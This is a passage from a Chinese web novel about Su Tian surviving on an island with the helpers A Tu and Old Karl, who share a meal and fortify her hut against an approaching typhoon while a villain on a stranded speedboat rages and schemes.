海贝被他用匕首熟练地撬开,露出肥嫩雪白的贝肉。
整个过程干净利落,没有一丝多余的拖沓,带着一种原始而高效的野性美感。
生火更是他的拿手好戏。
他不用苏甜那费力的燧石,而是从自己腰间挂着的一个小皮囊里掏出两块黑色的燧石和一小撮干燥的引火绒。
只见他双手持石,手腕快速抖动,“嚓嚓嚓”几下刺耳的摩擦声,几点明亮的火星精准地溅落在引火绒上!
噗地一声,一小簇橘黄色的火苗瞬间窜起!
“搞定!”阿土得意地吹了声口哨,迅速将火苗引燃早已准备好的干棕榈叶和细枝。篝火很快熊熊燃起。
他拿出几根削尖的硬木签,将处理好的鱼、龙虾肉、贝肉分别串好,架在篝火旁。
没有复杂的调料,只有他从另一个小皮囊里摸出的,一小包碾碎的灰绿色植物粉末(类似盐和香料的混合物),均匀地撒在食材上。
很快,油脂在火焰的舔舐下滋滋作响,浓郁的,令人垂涎欲滴的鲜香,伴随着淡淡的草木辛香,霸道地弥漫开来!
鱼肉边缘变得金黄焦脆,龙虾肉由透明转为诱人的乳白,贝肉在壳中噗噗跳动,渗出鲜美的汁液。
这香气比苏甜自己烤制时要浓烈数倍,充满了生命的烟火气。
“苏姐,快尝尝!趁热!”
阿土将最先烤好的一串雪白Q弹的龙虾肉递给苏甜,自己则迫不及待地抓起一串烤鱼。
也不怕烫,张嘴就咬了一大口,烫得他龇牙咧嘴,却满足地眯起了眼,含糊不清地赞道。
“唔!鲜!美!”
苏甜接过那串还滋滋冒油、香气扑鼻的龙虾肉。
肉质紧实弹牙,入口是纯粹的,爆炸般的鲜甜,混合着草木灰烬和淡淡海盐的咸香,瞬间征服了她的味蕾。
这是她登岛以来,吃过的最美味,最满足的一餐!<
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p>不仅仅是因为食物本身,更是因为这鲜活的人气,这毫无保留的分享。
“好吃!阿土,你手艺太棒了!”苏甜由衷地赞叹。
阿土嘿嘿一笑,几口就解决掉一条烤鱼,又拿起一只烤得刚刚开口的生蚝,将里面饱含汁水的蚝肉连同鲜美的汁水一起吸溜入口,满足地叹了口气。
“这算啥!苏姐,以后有我阿土在,保管你天天吃香的喝辣的!海里游的,我闭着眼都能给你抓上来!爷爷说了,让我以后天天来!”
他拍着胸脯保证,少年人的承诺带着不容置疑的笃定。
苏甜心中暖流涌动。
稳定的优质蛋白质来源!
这解决了她生存的最大后顾之忧!
看着阿土充满活力的笑脸和篓里剩下的海鲜,她仿佛看到了未来更充沛的体力和精力,看到了小屋升级,珊瑚修复等计划加速推进的希望。
“太好了!”苏甜笑着,将自己烤好的,最大最软糯的两块薯块用干净的棕榈叶包好。
又拿起那个老卡尔编织的棕榈叶水壶,将里面过滤好的,清冽甘甜的淡水倒进一个干净的大贝壳里(阿土撬生蚝留下的),一起递给阿土。
“这个带回去,给卡尔爷爷尝尝。”
阿土也不客气,咧嘴一笑,接过温热的烤薯和盛满清水的贝壳。
“谢啦苏姐!我爷爷就喜欢这口!”他将东西小心收好,又看了一眼天色。
“我得回去啦!下午还得下海摸螺呢!明天再来!”
说完,他动作麻利地将剩下的海鲜,用棕榈叶盖好留给苏甜。
背上空鱼篓,朝苏甜挥了挥手,转身,赤着脚,踏着滚烫的洁白细沙,脚踝上的贝壳串再次发出清脆悦耳的哗啦声。
像一阵充满活力的旋风,飞快地朝着雨林边缘跑去。
少年矫健的背影在金色的阳光下跳跃,充满了无穷的生命力。
苏甜站在原地,手中还残留着烤龙虾的余温,空气中弥漫着海鲜的浓香和篝火的烟火气。
她看着阿土消失在雨林边缘,又低头看看地上那一大包用棕榈叶盖好的,活蹦乱跳的鲜货,再感受着体内因饱食而涌动的暖流和力量。
一种久违的,来自人的温暖,支援和这座岛屿本身蕴含的蓬勃生机感,如同温润的泉水,缓缓包裹了她。
孤岛,似乎不再那么冰冷和绝望。
远处,快艇甲板上。
苏振业烦躁地坐在遮阳伞下,手背上烫伤的燎泡被纱布包裹着,依旧隐隐作痛。
他刚听完保镖甲关于无人机拍到老卡尔和那个古怪绳结的汇报,心情更加恶劣。
就在这时,保镖乙无声地靠近,将手中的战术平板递了过去。
屏幕上,正是高清无人机镜头捕捉到的画面。
那个皮肤黝黑,笑容灿烂,脚踝系着贝壳串的少年,如同野马般冲上洁白的沙滩,将沉重的鱼篓砸在苏甜面前。
画面清晰地捕捉到了篓里活蹦乱跳的龙虾和鱼,捕捉到了少年麻利处理海鲜,生火烧烤的娴熟动作。
捕捉到了苏甜接过烤串时脸上那抹轻松真实的笑容,也捕捉到了少年腰间,那里除了小皮囊,赫然还别着一柄用兽骨打磨而成的短柄鱼叉!
鱼叉尖端,在阳光下闪烁着一种不祥的,幽蓝色的微光!显然是淬了剧毒!
“哪来的野小子?!”苏振业的小眼睛瞬间眯起,闪烁着阴冷的光。
他居然和那个该死的独眼老东西是一伙的?
画面切换到阿土离开时,苏甜递给他烤薯和盛水的贝壳。
少年咧嘴笑着接过,毫无防备。
苏振业的目光死死钉在屏幕上阿土腰间那柄淬毒鱼叉的寒光上,嘴角缓缓咧开一个扭曲而恶毒的弧度。
他肥胖的手指在屏幕上少年灿烂的笑脸处狠狠一点,声音如同毒蛇吐信。
“查清楚这小鬼的底细!还有那个老不死的爷爷!”
18. 第18章
晨曦,不再是吝啬的访客。
当苏甜费力地将最后一根削磨得笔直光滑的硬木窗框,严丝合缝地嵌入藤蔓网格墙预留的方形缺口时,汗水已浸透了她单薄的衣衫。
她退后一步,喘息着,用沾满木屑的手臂抹去额头的汗水,目光灼灼地凝视着自己的杰作。
窗框是用老卡尔指点的一种韧性极佳的海岛灌木主干制成,经过石斧的劈砍,黑曜石片的精细削磨,边缘虽显粗糙,却异常笔直坚固。
按照【简易木窗蓝图】的指示,她利用匕首在窗框内侧凿出浅浅的凹槽轨道,又将几片相对平整,厚实的棕榈叶片边缘削薄,小心地嵌入凹槽,形成可以上下滑动的简易窗叶。
没有玻璃的剔透,只有植物纤维天然的纹理和缝隙,但这已是小屋从“洞窟”迈向“居所”的革命性一步!
她深吸一口气,带着近乎虔诚的期待,伸出微微颤抖的手指,扣住最下方那片棕榈叶窗叶的边缘,轻轻向上一推。
哗啦。
粗糙的摩擦声响起。
一道金线,一道凝聚了无数期盼的金色光柱,瞬间刺破了小屋内部长久以来的昏沉与压抑!
无数细小的尘埃在这突如其来的光束中狂舞,如同拥有了生命的光之精灵!
光束斜斜地投射在屋内洁白的沙地上(靠近门口的区域也被根网优化)。
照亮了角落里堆放的工具,挂在墙上的鱼叉,也照亮了苏甜脸上那无法抑制的,混合着疲惫与巨大成就感的笑容!
新鲜的,带着海盐清冽和草木芬芳的空气,也顺着窗叶开启的缝隙,迫不及待地涌入,瞬间冲淡了屋内原本沉闷的气息。
风!光!这是来自外部世界的馈赠,是她亲手为这庇护所开启的[眼睛]和[呼吸]!
苏甜忍不住走到光束中,仰起脸,闭上眼。
任由那久违的,温暖的阳光洒满她的脸颊和全身,感受着微风拂过汗湿鬓角的清凉。
这一刻的舒适与满足,超越了所有食物的甘美。
小屋,终于有了家的感觉。
她沉浸在木窗带来的微小幸福中,直到一声清亮又带着急切的呼喊由远及近,打破了宁静。
“苏姐!苏姐!快看天!”
阿土如同一阵疾风,赤脚飞奔过洁白的沙地,脚踝上的贝壳串哗啦作响。
他手里还提着一条不断扑腾的鱼,显然是刚上岸就发现了异样。
他冲到小屋前,指着西南方的海平线,脸上灿烂的笑容被一种少见的紧张取代。
“怪!太怪了!”
苏甜心头一凛,立刻推开那扇新做的木窗,探身望去。
刚才还湛蓝如洗的天空,此刻在西南方向的天际线上,堆积起厚重的,令人不安的云层。
那云不是寻常的灰白,而是如同浸透了脏污墨汁的棉絮,翻滚搅动着,呈现出一种沉甸甸的,不断蔓延的紫黑色!
云层的底部边缘模糊不清,仿佛被无形的巨手撕扯着,正以一种缓慢却无可阻挡的态势,吞噬着尚存的蓝天。
风,不知何时变得强劲而紊乱。
不再是带着咸腥的清爽海风,而是夹杂着水汽的,带着凉意的,推搡着人的气流。
它卷起沙滩上细小的白沙,形成迷蒙的烟尘,吹得小屋的藤蔓网格墙发出低沉的呜呜声,新装的棕榈叶窗叶也在风中哗啦作响。
海面也不再平静。
原本细碎的浪花变得有力而浑浊,一浪接着一浪,狠狠地拍打在礁石上。发出比往日更加沉闷、更加响亮的轰鸣,溅起大片浑浊的白沫。
远处的海鸟不再悠闲盘旋,而是像被无形鞭子驱赶着,成群结队地,焦躁不安地贴着海面低飞,发出急促尖锐的鸣叫,朝着内陆方向仓皇逃窜。
一种无形的、沉重的压力,随着那翻滚的紫黑□□和混乱的风势,笼罩了整个小岛。
空气仿佛凝固了,吸进肺里都带着沉甸甸的湿意。
就在这时,一个沉默的身影如同礁石般出现在小屋侧面。老卡尔来了。
他没有看阿土,也没有看苏甜,那双鹰隼般锐利的眼睛死死盯着西南方那片如同巨大伤口般撕裂天空的紫黑色□□,眉头紧锁成一个深刻的“川”字。
他古铜色的脸庞在诡异的天光下显得异常凝重,左眼的疤痕仿佛也绷紧了。
他伸出粗糙的手指,指向那□□深处某个常人难以分辨的点,声音低沉沙哑,却带着一种斩钉截铁的,令人心悸的沉重。
“风眼带血,跑不了。”
他顿了顿,目光扫过被风吹得猎猎作响的藤蔓网格墙和那片新装的,在风中摇晃的棕榈叶窗。
最终落在苏甜脸上,一字一句地吐出更清晰的警告。
“大风!很大的风!要来了!”
“很大的风”四个字,被他用低沉沙哑的嗓音强调出来,如同重锤砸在苏甜和阿土的心上!
结合眼前诡异的天象,一股寒意瞬间从脊椎骨窜起!
仿佛是为了印证老卡尔这来自大地的古老预警,快艇方向,突然传来保镖甲略显急促的通话声,在呼啸的风声中断断续续。
“是!明白!强热带风暴,预警代号[海蛇],中心最大风力预估12级,移动路径正对我区域,预计登陆时间48小时内,伴随强降雨,浪高”
后面的话语被一阵更猛烈的风声淹没,但关键信息已经如同冰水浇头,清晰无比!
强热带风暴!12级风!48小时!暴雨!巨浪!
官方气象预警与老卡尔的经验判断,完全吻合!
灾难的倒计时,开始了!
苏甜的脸色,瞬间变得凝重无比。
她猛地推开木窗,目光迅速扫过小屋,那片在风中摇曳的薯田,洁白的沙地,最后落在眼前两人身上。
经验丰富,面色沉凝的老卡尔。年轻力壮,眼神里虽有紧张但更多是跃跃欲试和信心的阿土。
没有时间犹豫,没有时间恐慌!
一股前所未有的决断力,瞬间压倒了最初的寒意。
她深吸一口带着腥咸水汽和压迫感的空气,眼神变得锐利而坚定,声音清晰有力地穿透风声。
“加固!准备!”
她的目光首先看向老卡尔,带着询问,更带着绝对的信任。
“卡尔先生,小屋,藤墙,屋顶,哪里最弱?怎么加固最有效?”
接着转向阿土,指令明确。
“阿土,你熟悉雨林,立刻去找最坚韧、最粗壮的藤蔓!越多越好!还有,找找有没有合适做支撑柱的硬木,手臂粗细,尽量长直!”
没有豪言壮语,只有最务实的指令和最紧迫的行动。
老卡尔深深看了苏甜一眼,那眼神中第一次流露出明确的赞许和认同。
他没有任何废话,立刻指向藤蔓网格墙的几个关键连接点。
尤其是那些由苏甜亲手打结,尚未用[渔人结]加固的地方,又指了指海草屋顶的边缘。
“藤墙节点,用[渔人结],加树皮绳!屋顶边缘,压重物,绑死!小屋骨架主梁,加斜撑!顶住!”
“明白!”阿土早已摩拳擦掌,听到指令,立刻像离弦之箭般冲向雨林边缘。
赤脚在沙滩上留下一串清晰的足迹,脚踝上的贝壳声被呼啸的风声瞬间吞没。
苏甜自己则迅速冲进小屋,将那些相对珍贵的物品。
老卡尔送的草药,剩余的薯块,工具,还有那块作为证据的油污破布,迅速打包,准
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备转移到小屋最坚固的角落。
就在她忙碌时,阿土的身影已经扛着一大捆深绿色的,比之前所用粗壮数倍的藤蔓冲了回来!
他力气惊人,甚至腋下还夹着一根近三米长,碗口粗细,笔直坚韧的硬木树干!
树干显然是刚砍下的,断口还流淌着新鲜的汁液。
“苏姐!卡尔爷爷!看这个够不够劲!”
阿土将树干重重地顿在沙地上,发出沉闷的响声。
脸上带着少年人特有的,面对挑战时的兴奋和一丝“求表扬”的得意。
老卡尔走过去,粗糙的手掌用力拍了拍那根笔直坚硬的树干,又检查了阿土带回来的藤蔓,满意地点了点头,言简意赅。
“好料!”
三人不再多言。
老卡尔立刻指挥,阿土充当最强壮的劳力。
他们先将那根粗壮的硬木树干斜顶在小屋背风面主梁受力最大的节点下方,深深插入沙地,如同为小屋竖起一根坚强的脊骨!
接着,老卡尔亲自动手,用阿土带回来的粗藤蔓和自己带来的树皮绳,开始在藤蔓网格墙的关键节点上,用那复杂无比的[渔人结]进行二次加固!
阿土则配合着传递材料,拉紧绳索,力气大得惊人。
苏甜也没闲着,她开始收集营地周围所有能找到的重物。
相对平整的大石块,沉重的浮木段,将它们搬运到海草屋顶的边缘,准备进行压覆固定。
三人分工明确,动作迅速。
风声越来越紧,呜咽着穿过藤蔓网格的缝隙,发出越来越尖锐的哨音。
西南方的天空,那紫黑色的□□又推进了一大截,如同巨大的,狰狞的兽口,朝着脆弱的小岛,缓缓张开。
快艇的甲板上,此刻却是一片混乱和恐慌。
“废物!一群废物!风暴都要来了!引擎还没修好?!你们想和老子一起喂鱼吗?!”
苏振业气急败坏的咆哮声,在狂风中显得扭曲而失真。
他肥胖的身体裹着雨衣,依旧被风吹得站立不稳,手背上包裹的纱布被雨水打湿,狼狈地贴在燎泡上。
几个维修技师在风雨欲来的低气压中满头大汗,试图做最后的抢修。
但快艇的引擎舱依旧毫无生气地敞开着,露出里面一堆湿漉漉,沾满油污的零件。
保镖甲顶着风,艰难地汇报。
“苏总!风暴路径确认经过本岛!快艇引擎进水阀关键部件损坏,备件不足,48小时内修复,可能性低于10%!建议立即加固锚链!寻求更高处避风!”
“避风?!这鬼岛哪来的高处?!”苏振业看着远处那片低矮的雨林和光秃秃的礁石,绝望地嘶吼。
他猛地看向保镖乙,指着远处沙滩上那在风中显得异常渺小却异常忙碌的三个身影。
尤其是那个正奋力扛起一块巨石的少女,眼中充满了扭曲的嫉妒和怨毒。
“加固!加固个屁!给我把锚!把所有的锚!都焊死在甲板上!焊死!!”
他歇斯底里的命令,在呼啸的风声中飘散。
保镖甲沉默地看了一眼远处正在用最原始方式,与时间赛跑加固家园的三人,又看了一眼眼前这位只会咆哮的雇主。
眼神深处闪过一丝难以言喻的复杂,最终还是转身,执行那近乎疯狂的[焊死锚链]的命令去了。
快艇在越来越强的风浪中不安地摇晃,如同一片即将被巨兽吞噬的枯叶。
而远处的小屋前,在翻涌的紫黑色□□背景下。
苏甜、老卡尔和阿土的身影,正如同三颗紧紧钉在大地上的铆钉。
在狂风中勾勒出一幅渺小却无比坚韧的剪影。
风暴的巨口,已近在咫尺。
19. 第19章
风,不再是推搡,而是变成了咆哮的实体。
它卷着沙砾和咸腥的水汽,如同无形的巨拳,狠狠砸在小屋的藤蔓网格墙上,发出沉闷而连续的“砰砰”声。
新装的棕榈叶窗叶在狂风中剧烈颤抖,哗啦作响,仿佛下一秒就要被撕扯下来。
西南方天际,那堵紫黑色的□□已推进到头顶,遮天蔽日,将正午的光线压抑成一片不祥的昏黄。
空气沉重得如同浸透了水的棉絮,每一次呼吸都带着粘稠的湿意和风暴来临前的硫磺气息。
时间,成了最奢侈又最紧迫的敌人。
“节点!”老卡尔的声音穿透风声,低沉却异常清晰,带着不容置疑的权威。
他古铜色的脸绷得如同礁石,左眼疤痕在昏暗的光线下更显深刻。
粗糙的手指,精准地点向藤蔓网格墙与主梁骨架连接的几个关键部位。
正是之前苏甜用普通绳结捆绑的地方,此刻在风压下已发出不堪重负的呻吟。
“用[渔人结]!加树皮绳!绞死它!”
阿土闻声而动,如同最敏捷的猿猴。
他将一大捆浸泡过强化药液,柔韧坚韧的藤蔓和那卷油润的树皮纤维绳迅速拖到老卡尔指定的位置。
老卡尔不再多言,双手探出,动作快得几乎带出残影!
只见他十指如同最灵巧的织梭,粗粝的指节爆发出惊人的力量。
强化藤蔓被迅速缠绕在主梁和网格藤条的交汇处,紧接着,那坚韧无比的树皮绳如同活蛇般缠绕上去。
绳头在老卡尔指间飞速穿梭、穿插、回扣、勒紧!
每一个动作都蕴含着千锤百炼的经验和磅礴的力道,快、准、狠!
那复杂无比的[渔人结]在他手中迅速成型!
不同于苏甜之前的生涩,老卡尔打出的每一个绳结都棱角分明,结构紧凑得如同钢铁铸造!
绳结的核心部分层层咬合,最后的收尾回穿勒紧,形成一个如同岩石般坚固的疙瘩。
他双臂肌肉虬结贲起,用尽全身力气猛地一收!
嗡!
被树皮绳绞紧的藤蔓和骨架连接处,竟发出一种如同强弓拉满,弓弦紧绷到极致时的低沉颤鸣!
那声音穿透风声,带着一种令人心悸的稳固感!
一个,两个,三个。
老卡尔如同不知疲倦的机器,在藤蔓网格的关键节点上,飞速打下一个个坚不可摧的[渔人结]。
阿土则如同最默契的助手,精准地传递材料,用尽全力配合着老卡尔的每一次绞紧,少年精壮的手臂上青筋暴起,汗水混着沙尘在古铜色的皮肤上流淌。
每完成一个绳结,那片区域的藤墙便如同被注入了钢铁骨架,在狂风中瞬间停止了痛苦的呻吟,变得岿然不动!
苏甜没有旁观。
她拖着行动仍有些微碍的腿,奋力拖拽着收集来的重物。
沉重的石块,粗壮的浮木段,将它们堆砌到小屋背风面那根作为主支撑的硬木斜柱底部,增加其稳定性。
同时,她将另一部分相对平整的石块,搬到老卡尔和阿土脚下,供他们压覆即将处理的屋顶边缘。
“屋顶!”老卡尔低喝一声,最后一个[渔人结]在呼啸的风声中完成。
他猛地抬头,目光如电,射向在狂风中如同巨兽鬃毛般起伏波动的厚实海草屋顶边缘。
这里是整个屋顶最脆弱,最容易被风掀开的部位!
“阿土!压边!绑死!”老卡尔言简意赅,抓起一根粗壮的强化藤蔓,一端迅速在屋顶边缘的主梁上打下一个死结。
“瞧我的!”阿土眼中没有丝毫惧色,反而闪烁着少年人面对挑战的兴奋光芒。
他深吸一口气,赤脚猛地蹬地,双手抓住粗糙的藤蔓网格墙,腰腹发力,整个人如同灵巧的壁虎般,三两下就蹿上了近三米高的屋顶边缘!
狂风瞬间将他蓬松的卷发吹得狂舞,单薄的身体在风中摇摆,看得苏甜心头一紧!
但阿土下盘极稳,赤脚如同吸盘般牢牢扣在厚实的海草屋顶上。
他接过老卡尔抛上来的藤蔓末端,身体如同绷紧的弓弦,在倾斜的屋顶上快速移动。
他利用屋顶本身的弧度,身体时而匍匐,时而半跪,将藤蔓紧紧贴压住屋顶边缘的海草,用力拉紧!
老卡尔在下方配合着,传递石块。
阿土的动作,带着一种野性的韵律。
他抱起一块块沉重的石块,精准地压在拉紧的藤蔓上,然后用藤蔓在石块上飞快地缠绕、打结、固定!
动作干脆利落,没有丝毫拖泥带水。
石块压覆,藤蔓捆扎,一层压一层,如同给狂暴的巨兽套上了缰绳。
厚实的海草屋顶边缘被牢牢地压实,钉死在了骨架上!
任凭狂风如何撕扯,那墨绿色的“鬃毛”只是剧烈地起伏波动,却再也无法被掀起分毫!
“排水!”苏甜的声音在风声中响起,带着不容置疑的指挥。
屋顶加固完成,地面防御刻不容缓。
她深知,暴雨伴随狂风而来,小屋若被积水浸泡,地基松软,后果不堪设想。
她迅速捡起一根坚硬的木棍作标记,围绕着小屋地基外围,在洁白的沙地上划出一道道弧线。
她的规划,清晰而实用。
沟渠位于小屋迎风面(西南侧)稍远,深度约半米,宽度足够一人通行。
整体呈缓坡状,将可能袭来的雨水引导向地势更低洼的沙滩方向。
在背风面(东北侧),沟渠则紧贴地基挖掘,深度稍浅,但更密集,如同毛细血管,负责疏导小屋周围自身的积水。
老卡尔和阿土立刻跳下屋顶,拿起苏甜用硬木和黑曜石片制作的简易木铲(类似锹),开始奋力挖掘!
强化后的藤蔓提供了坚韧的铲柄,黑曜石片打磨的铲头虽然不够锋利,但在两人强大的力量下,依旧飞快地切开松软的沙层。
沙地挖掘异常迅速,洁白的细沙被不断翻出。
很快,一道环绕小屋,深浅不一的沟渠网络初具雏形。
苏甜仔细检查沟渠的走向和坡度,用脚踏实关键节点的沙土,确保水流能顺畅导引。
就在这时,一个意想不到的惊喜出现了!
当沟渠挖掘到小屋西北角,靠近那片被根网优化的沙地边缘时,挖出的沟壁,不再是松散的细沙。
而是呈现出一种被无数银白色细小根须紧密缠绕,如同被强力粘合剂固化过的特殊结构!
这些根须来自屋顶蔓延下来的【固沙海草】!
它们不仅优化了地表沙粒,更在地下深处构筑了庞大的网络!
阿土一铲下去,惊讶地发现铲头遇到的阻力极大,挖出的沙块竟粘连着密集的银白色根须,整体结构异常紧实!
更神奇的是,当老卡尔将一桶从蓄水坑取来的水倒入一段刚挖好的沟渠试验时,水流并未立刻渗光。
但在流经那些被根须网络加固过的沟段时,水流的速度明显加快。
而且清澈的水流,以肉眼可见的速度,被沟壁和沟底那层被根须缠绕的沙层迅速吸收,下渗!
如同干渴的海绵遇到了清泉!
“这。。。”阿土瞪大了眼睛。
“根网!”苏甜瞬间明白了,眼中闪过一丝惊喜。
“它们在加固沙层,也在帮助排水和蓄水!”
这意外的发现,大大增强了排水沟的效率!
被根须网络覆盖的区域,如同天然的高效渗水层!
“好!”老卡尔言简意赅,眼中也掠过一丝了然。
三人挖掘的速度更快,更有针对性,巧妙地利用了根网分布的区域优化沟渠结构。
排水沟完成,如同为小屋筑起了一道无形的护城河。
“存水!备粮!
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”苏甜没有丝毫喘息,指令接连不断。
阿土立刻冲向海边,将他那个巨大的藤条鱼篓拖了回来,又收集了几个他之前撬生蚝留下的,硕大坚固的贝壳。
苏甜则拿出所有容器。
老卡尔编织的棕榈叶水壶,新做的几个棕榈叶桶,甚至包括几个挖空的椰子壳。
三人如同精密的齿轮,飞速运转。
苏甜负责在岩缝取水点过滤,接水。
阿土负责将过滤好的淡水,一趟趟运回小屋。
老卡尔则在小屋内,将运回的淡水仔细分装到各个容器中,确保密封。
然后转移到小屋最内侧,骨架最坚固,地势相对最高的角落。
清澈的淡水,在各种容器中晃荡,反射着昏黄的光线,如同储存的生命之源。
食物储备同样重要。
苏甜将地窖里储存的所有薯块,风干的海鱼,贝肉干,还有阿土今早送来没吃完的鲜鱼,以及之前采集储备的雨林块茎,全部打包。
用防水的棕榈叶和驱虫草粉包裹好,同样转移到那个安全的角落,与存水容器堆放在一起。
小小的角落,堆满了维系生命的希望。
与此同时,快艇方向已是一片末日般的混乱和绝望。
苏振业那顶昂贵的帐篷,在越来越强的阵风中如同醉汉般剧烈摇晃,发出布料撕裂的“刺啦”声!
他肥胖的身体裹着雨衣,狼狈地蜷缩在帐篷一角,气急败坏地对着卫星电话咆哮,声音却被风声撕扯得破碎不堪。
“什么?!备件运不过来?!废物!都是废物!我养你们”
“苏总!锚链!”保镖甲浑身湿透(不知是汗水还是飞溅的海水),顶着狂风冲进摇摇欲坠的帐篷,脸色铁青。
“二号锚链,绷断了!一号锚链受力过大,固定螺栓变形!快艇已经开始漂移!必须立刻启用应急锚!但风暴加强的话。”
“启用!焊死!给我把应急锚也焊死在甲板上!”苏振业歇斯底里地尖叫,小眼睛里充满了血丝和恐惧。
“还有救生艇!给我绑死!不!焊死!全都焊死!”
保镖甲看着雇主那张因恐惧而扭曲的脸,眼中最后一丝职业性的服从也化为了冰冷的漠然。
他不再争辩,转身冲入狂风,执行那近乎自杀的命令。
将沉重的应急锚,用焊枪粗暴地焊死在甲板边缘!
几个保镖和维修工在越来越大的风浪中跌跌撞撞,试图将救生艇用铁链捆缚在船舷。
动作笨拙而危险,与远处沙滩上那高效,默契的三人组形成了地狱与天堂般的讽刺对比。
快艇的引擎舱盖在狂风中哐当作响,里面依旧是一堆冰冷的、湿漉漉的、毫无生机的零件。
这艘钢铁造物,在自然的伟力面前,脆弱得如同孩童的玩具,只能绝望地等待着风暴的审判。
当苏甜将最后一块用棕榈叶包裹好的风干鱼放进储备角,小心地盖上一层防潮的干草时。
小屋外,风声的咆哮达到了一个新的高潮!
呜嗷!!!
如同万千厉鬼同时尖啸!
一道惨白的,撕裂昏黄天幕的闪电,如同巨神的鞭子,狠狠抽打在翻滚的紫黑色云海深处!
紧接着!
轰隆隆!!!
沉闷到极致的,仿佛大地都在颤抖的雷声,如同远古巨兽苏醒的咆哮。
由远及近,滚滚而来,瞬间淹没了世间所有的声音!
小屋的藤蔓网格墙,在这天地之威下发出低沉的共鸣,新装的棕榈叶窗叶疯狂拍打着窗框。
屋外,洁白的沙地被狂风吹起迷蒙的沙暴,翠绿的薯苗被压得紧贴地面。
第一滴冰冷的,豆大的雨点,裹挟着风雷之势,狠狠地砸在小屋那厚实墨绿的海草屋顶上,发出“啪”的一声脆响!
如同进攻的号角。
风暴,来了。
20. 第20章
天际那堵翻滚的紫黑色□□,终于彻底吞噬了最后一缕天光。
世界瞬间被拖入了狂暴的黄昏。风不再是风,它是活过来的,拥有亿万条无形触手的巨兽,带着毁灭一切的意志,发出了第一声震彻天地的咆哮!
“呜!嗷!!!”
那声音超越了听觉的范畴,是直接锤击在骨骼和心脏上的恐怖重压!
紧随其后的,是亿万颗冰冷的,裹挟着海盐与砂砾的雨点,如同天神震怒时泼下的冰雹,以倾覆苍穹之势,狠狠砸落!天地间顷刻白茫茫一片,只剩下震耳欲聋的轰鸣。
雨水不再是水滴,是连接天海的狂暴瀑布,是亿万根冰冷的钢针,疯狂地抽打着大地,海洋和一切敢于矗立的物体。
小屋首当其冲!
轰隆!!!
惨白得刺眼的闪电,如同天神投掷的银矛,撕裂了翻滚的墨黑云层,瞬间将扭曲的天地映照得一片狰狞死白。
紧随而至的炸雷,仿佛就在头顶炸开,沉闷到极致的巨响震得脚下的大地都在呻吟颤抖!
小屋在这天地之威的第一次正面冲撞中,发出了令人牙酸的巨大呻吟!整个结构猛地向背风面倾斜,仿佛下一秒就要被连根拔起!
支撑小屋的棕榈主梁骨架,在巨大的风压下发出不堪重负的“嘎吱嘎吱”声,如同垂死巨兽的骨骼在摩擦!强化藤蔓编织的网格墙,瞬间向内凹陷出一个惊心动魄的弧度,每一根藤条都在极限拉伸下剧烈颤抖。
那些被老卡尔用[渔人结]和树皮绳死死绞紧的关键节点,如同承受着万钧重担的弓弦,发出低沉而紧绷到极致的“嗡嗡”颤鸣!
屋外是山呼海啸,屋内是地动山摇!
苏甜,老卡尔和阿土在雷声炸响的瞬间,就被巨大的惯性狠狠摔向背风的墙壁!
苏甜只觉得五脏六腑都移了位,后背重重撞在藤墙上,震得她眼前发黑,喉头泛起腥甜。
她死死咬住牙关,在剧烈的摇晃和震耳欲聋的噪音中,手脚并用地爬向小屋最内侧,堆放物资的那个角落。
“趴下!抓牢!”老卡尔嘶哑的吼声穿透风雨。他如同扎根的礁石,古铜色的双手死死扣住一根深深插入沙地的骨架主梁根部。
阿土则像受惊的小兽,连滚带爬地扑到苏甜身边,和她一起紧紧抱住角落里堆叠的,装着淡水的厚重容器。冰冷的水透过容器壁传来寒意,却成了此刻唯一能抓住的实物。
小屋如同惊涛骇浪中的一叶扁舟,在十二级狂风掀起的毁灭巨浪中疯狂颠簸、摇摆、战栗。每一次剧烈的倾斜和震颤,都伴随着骨架令人心悸的呻吟和藤墙网格如同绷紧弓弦般的嗡鸣。
屋顶上,密集如鼓点般的雨声敲击着厚实的海草层,汇集成一片连绵不绝的,震耳欲聋的轰鸣,仿佛要将屋顶彻底洞穿!
然而,这狂暴的洗礼下,奇迹正在发生。
预想中屋顶被掀飞,藤墙被撕裂的场景并未出现!那些被老卡尔用[渔人结]和树皮绳死死绞固的藤蔓节点,如同被浇铸了钢铁,任凭风压如何撕扯,结构依旧稳固如初!
厚达近半尺的墨绿色海草屋顶,在暴雨的疯狂冲刷下,展现出惊人的韧性。雨水无法渗透,只能在其表面形成湍急的水流,顺着被阿土用石块和藤蔓死死压住的边缘,如同瀑布般狂泻而下!
整个屋顶在风中剧烈起伏波动,像一头巨兽在抖动湿透的鬃毛,却始终牢牢覆盖着骨架,将致命的雨水隔绝在外!
更神奇的是屋内那无形却真实存在的[温暖领域]。
屋外是冰雨刺骨,狂风带走了所有热量。但在这剧烈摇晃,似乎随时可能解体的小屋内部,恒定而温和的暖流,如同一个看不见的,坚韧的蛋壳,牢牢包裹着他们。
温度稳定在令人舒适的22℃左右!狂野的湿冷和令人牙齿打颤的寒意被彻底隔绝在外。
苏甜紧紧抱着冰冷的淡水桶,后背紧贴着藤墙,能清晰地感觉到藤蔓网格传递来的轻微震动和主梁的呻吟,但身体却奇异地没有感到丝毫寒冷。
汗水甚至从她的鬓角渗出,与撞击带来的疼痛感混合在一起。这违背常理的温暖,在灭顶的风暴中,成了最坚实的堡垒和最强大的定心丸!
“咯吱!嗡!”
小屋再次被一股更强的风压狠狠推搡,向东北方向倾斜了至少十五度!骨架主梁发出更刺耳的呻吟,藤墙网格向内凹陷的弧度更大,仿佛下一秒就要被压垮!
几滴雨水终于找到了藤蔓交织的细微缝隙,如同冰冷的毒蛇,钻了进来,滴落在阿土的后颈上,冰得他一个激灵。
“爷爷!苏姐!墙没事吧?”阿土的声音带着哭腔,在风雨的咆哮中显得异常微弱。
“死不了!”老卡尔的声音如同磐石,他依旧死死扣着那根主梁,头也没回。
他布满风霜的脸上没有任何表情,只有那双锐利的眼睛,在昏暗中如同捕猎前的鹰隼,死死盯着藤墙网格上几个受力最大的节点。
耳朵微微翕动,仿佛在倾听藤蔓和绳索在极限张力下发出的细微声响,以此判断结构的极限。他的沉默和稳定,本身就是一种强大的力量。
苏甜深吸一口气,压下心头的惊悸。她松开抱着水桶的手,摸到了腰间的匕首。冰冷的金属触感,让她混乱的思绪瞬间凝聚。
她拔出匕首,反手握紧,锋锐的尖端抵在身下的沙地上。这不是攻击的姿态,而是最后防线的象征,是与这庇护所共存亡的决心。
“相信它!”苏甜的声音不大,却异常清晰,带着一种不容置疑的穿透力,传入阿土和老卡尔的耳中。
“相信我们盖起来的这个家!也相信我们自己!”
